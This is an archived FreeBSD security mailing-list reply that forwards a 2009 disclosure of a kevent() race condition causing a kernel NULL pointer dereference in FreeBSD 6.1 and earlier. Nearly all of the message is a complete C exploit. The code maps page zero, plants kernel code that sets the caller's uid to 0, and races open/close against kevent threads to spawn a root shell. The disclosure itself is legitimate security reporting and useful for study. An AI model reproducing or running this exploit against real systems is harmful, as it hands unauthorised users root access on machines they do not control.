Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 24 Aug 2009 11:01:12 -0700
From:      lxn smth <lxn.smth@gmail.com>
To:        freebsd-security@freebsd.org
Subject:   Re: FreeBSD <= 6.1 kqueue() NULL pointer dereference
Message-ID:  <864f75cb0908241101o309219d5x58261bb746eccb78@mail.gmail.com>
In-Reply-To: <4A90258F.6090606@freebsd.lublin.pl>
References:  <4A90258F.6090606@freebsd.lublin.pl>

next in thread | previous in thread | raw e-mail | index | archive | help
FYI.

2009/8/22 Przemyslaw Frasunek <venglin@freebsd.lublin.pl>:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> FreeBSD <=3D 6.1 suffers from classical check/use race condition on SMP
> systems in kevent() syscall, leading to kernel mode NULL pointer
> dereference. It can be triggered by spawning two threads:
> 1st thread looping on open() and close() syscalls, and the 2nd thread
> looping on kevent(), trying to add possibly invalid filedescriptor.
>
> The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
> was not recognized as security vulnerability.
>
> The following code exploits this vulnerability to run root shell.
>
> /* 22.08.2009, babcia padlina
> ~ * FreeBSD kevent() race condition exploit
> ~ *
> ~ * works only on multiprocessor systems
> ~ * gcc -o padlina padlina.c -lpthread
> ~ *
> ~ * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture
> discussion
> ~ */
>
> #define _KERNEL
>
> #include <sys/types.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/event.h>
> #include <sys/timespec.h>
> #include <pthread.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <sys/mman.h>
>
> #include <sys/param.h>
> #include <sys/linker.h>
> #include <sys/linker.h>
> #include <sys/proc.h>
>
> int fd;
> int kq;
> struct kevent kev, ke[10];
> struct timespec timeout;
> int gotroot =3D 0;
>
> static void kernel_code(void) {
> ~ =A0 =A0 =A0 =A0struct thread *thread;
> ~ =A0 =A0 =A0 =A0gotroot =3D 1;
> ~ =A0 =A0 =A0 =A0asm(
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0"pushl %%eax;"
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0"movl %%fs:0, %0"
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: "=3Dr"(thread)
> ~ =A0 =A0 =A0 =A0);
> ~ =A0 =A0 =A0 =A0thread->td_proc->p_ucred->cr_uid =3D 0;
> ~ =A0 =A0 =A0 =A0asm("popl %eax");
> ~ =A0 =A0 =A0 =A0return;
> }
>
> void do_thread(void) {
> ~ =A0 =A0 =A0 =A0sleep(1);
>
> ~ =A0 =A0 =A0 =A0while (!gotroot) {
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0memset(&kev, 0, sizeof(kev));
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0=
, 0, NULL);
>
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if (kevent(kq, &kev, 1, &ke, sizeof(ke),=
 &timeout) < 0) {
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("kevent");
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0}
> ~ =A0 =A0 =A0 =A0}
>
> }
>
> void do_thread2(void) {
> ~ =A0 =A0 =A0 =A0while(!gotroot) {
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if ((fd =3D open("/tmp/.padlina", O_RDWR=
 | O_CREAT, 0600)) <
> 0)
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("open");
>
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0close(fd);
> ~ =A0 =A0 =A0 =A0}
> }
>
> int main(void) {
> ~ =A0 =A0 =A0 =A0pthread_t pth, pth2;
> ~ =A0 =A0 =A0 =A0long *ap;
> ~ =A0 =A0 =A0 =A0unsigned char *p, *sp;
>
> ~ =A0 =A0 =A0 =A0if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, =
MAP_ANON |
> MAP_FIXED, -1, 0) < 0) {
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("mmap");
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return -1;
> ~ =A0 =A0 =A0 =A0}
>
> ~ =A0 =A0 =A0 =A0memset(0x0, 0xc3, 0x1000);
>
> ~ =A0 =A0 =A0 =A0for (p =3D 0, sp =3D &kernel_code; *sp !=3D 0xc3;)
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0*p++ =3D *sp++;
>
> ~ =A0 =A0 =A0 =A0if ((kq =3D kqueue()) < 0) {
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("kqueue");
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return -1;
> ~ =A0 =A0 =A0 =A0}
>
> ~ =A0 =A0 =A0 =A0pthread_create(&pth, NULL, do_thread, NULL);
> ~ =A0 =A0 =A0 =A0pthread_create(&pth2, NULL, do_thread2, NULL);
>
> ~ =A0 =A0 =A0 =A0timeout.tv_sec =3D 0;
> ~ =A0 =A0 =A0 =A0timeout.tv_nsec =3D 1;
>
> ~ =A0 =A0 =A0 =A0while (!gotroot)
> ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0usleep(100);
>
> ~ =A0 =A0 =A0 =A0setuid(0);
> ~ =A0 =A0 =A0 =A0execl("/bin/sh", "sh", 0);
>
> ~ =A0 =A0 =A0 =A0printf("exploit failed\n");
> ~ =A0 =A0 =A0 =A0return 0;
> }
>
>
> - --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
> * JID: venglin@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.9 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iEYEARECAAYFAkqQJY8ACgkQkxEnBiV4/K1IRACeI/GYTKhzGqPJLkpheDV8rEIl
> yFMAnAo6czNexms9f4zMwUjzAioNRtqz
> =3D8qMi
> -----END PGP SIGNATURE-----
>



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?864f75cb0908241101o309219d5x58261bb746eccb78>